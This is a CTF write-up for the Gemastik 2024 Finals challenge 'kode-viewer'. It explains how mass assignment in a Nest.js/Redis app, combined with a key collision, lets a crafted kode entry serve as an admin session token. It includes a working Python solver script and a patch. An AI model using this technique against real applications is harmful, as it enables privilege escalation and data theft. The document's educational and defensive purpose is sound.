// k3ng
  • 👋
  • 2025
    • Cyber Jawara National 2024
      • Whale
      • Grayscale
      • Log4Shell
  • 2024
    • HTB University CTF 2024: Binary Badlands
      • Apolo
      • Freedom
      • Frontier Exposed
      • Wanter Alive
      • Armaxis
    • TSA Cyber Champion 2024
      • 101 - Forensics
      • eavesdropped
      • 101 - Web Exploitation
    • Cyber Jawara International 2024
      • prepare the tools
      • Sleeper
      • P2PWannabe
    • CTF Hology 7.0
      • give me
      • Books Gallery
    • TCP1P CTF 2024
      • doxxed
      • Lost Progress
    • Gemastik 2024 Finals
      • kode-viewer
Powered by GitBook
On this page
  • Description
  • Analysis
  • Solution
  • Solver Script
  • Patch
  1. 2024
  2. Gemastik 2024 Finals

kode-viewer

Description

Elevate your kode-share experience with kode-viewer.

by vidner


Analysis

We are given full source-code of a website built using Nest.js. From the docker-compose.yml we can infer that the database used for this challenge is Redis.

services:
  kode-viewer:
    build:
      context: .
      args:
        - PASSWORD=root
    ports:
      - '10000:3000'
    depends_on:
      - redis
    environment:
      - REDIS_HOST=redis
      - REDIS_PORT=6379
  redis:
    image: public.ecr.aws/docker/library/redis:alpine
    volumes:
      - ./redis-data:/data

From the kode.services.ts file, we could see that the create function uses the whole payload argument and expands them when sending it to the Redis database. This is dangerous since we can add new keys outside of the KodeDTO type. The payload is not checked against the KodeDTO type since types are only a suggestion in TypeScript, rather than a strict rule.

// snip
  async create(email: string, payload: KodeDTO) {
    payload.kind = payload.kind ? 'private' : 'public';
    const key = `kode-${email}-${payload.name}-${payload.lang}-${payload.kind}`;
    return this.kv.set(key, { email, ...payload }, 1200);
  }
// snip

On the list function, we can see that we could only see our own kode if we are not an admin. But if we are an admin, we can see every kode on the database. So we would probably want to be an admin to get the flag.

 // snip
   async list(user: Session) {
    const kodes = user.isAdmin
      ? await this.kv.find('kode-*')
      : await this.kv.find(`kode-${user.email}-*`);
    return this.parse(kodes);
  }
// snip

Solution

To somehow overwrite the user, we need to look at how the session is implemented. The session token is just a random UUIDv4 and no sanitization is applied to it.

// snip
    const sessionId = uuidv4();
    await this.kv.set(sessionId, user, 1800);
// snip

Therefore, we can use a kode ID as a session token, where that kode is injected with an isAdmin with a value of True . This exploit is possible because of Redis, where it does not have a concept of tables. This means that if different types of objects are using the same database, the key must be identifiable to that type and also checked rigorously to avoid collisions like what is happening in this case.

r = requests.post(f"http://{ip}:{port}/kode",
                  data={
                     "name": "asdf", 
                     "lang": "python", 
                     "kode": "hello", 
                     "isAdmin": True
                  },
                  headers={"Cookie": f"session={session}"},
                  allow_redirects=False
)

Then, the new kode can be interpreted as a session token and we can get all the kode in the database. On the remote service, the kode containing the flag will start with flag as the name and will be set to private.

Solver Script

#!/usr/bin/env python3
import requests
import sys
import re

ip = sys.argv[1]
port = "10000"

EMAIL = "[email protected]"
PASSWORD = "dasdnnsaldnsa"
PAYLOAD = "[email protected]"

r = requests.post(f"http://{ip}:{port}/auth/register", 
                  data={"email": EMAIL, "password": PASSWORD},
)

r = requests.post(f"http://{ip}:{port}/auth/login", 
                  data={"email": EMAIL, "password": PASSWORD},
                  allow_redirects=False
)

session = r.cookies["session"]
r = requests.post(f"http://{ip}:{port}/kode",
                  data={
                     "name": 
                     "asdf", 
                     "lang": "python", 
                     "kode": "hello", 
                     "isAdmin": True
                  },
                  headers={"Cookie": f"session={session}"},
                  allow_redirects=False
)

session = PAYLOAD
r = requests.get(
    f"http://{ip}:{port}/kode", 
    headers={"Cookie": f"session={session}"}
)

flags = r.text
flag_urls = re.findall(r"\".*flag_.*-private\"", flags)

for flag_url in flag_urls:
    flag_url = flag_url.replace("\"", "")
    r = requests.get(
        f"http://{ip}:{port}{flag_url}", 
        headers={"Cookie": f"session={session}"}
     )
    print(r.text, flush=True)

Patch

Since the culprit is the create function, we can patch it to only insert the keys that is defined by KodeDTO.

// snip
  async create(email: string, payload: KodeDTO) {
    payload.kind = payload.kind ? 'private' : 'public';
    const key = `kode-${email}-${payload.name}-${payload.lang}-${payload.kind}`;
    return this.kv.set(key, { email, kind: payload.kind, name: payload.name, lang: payload.lang, kode: payload.kode }, 1200);
  }
// snip

But after the competition, we realized that there are other exploits other than ours. So the true patch is to not use Redis as your main database xD.

Last updated 7 months ago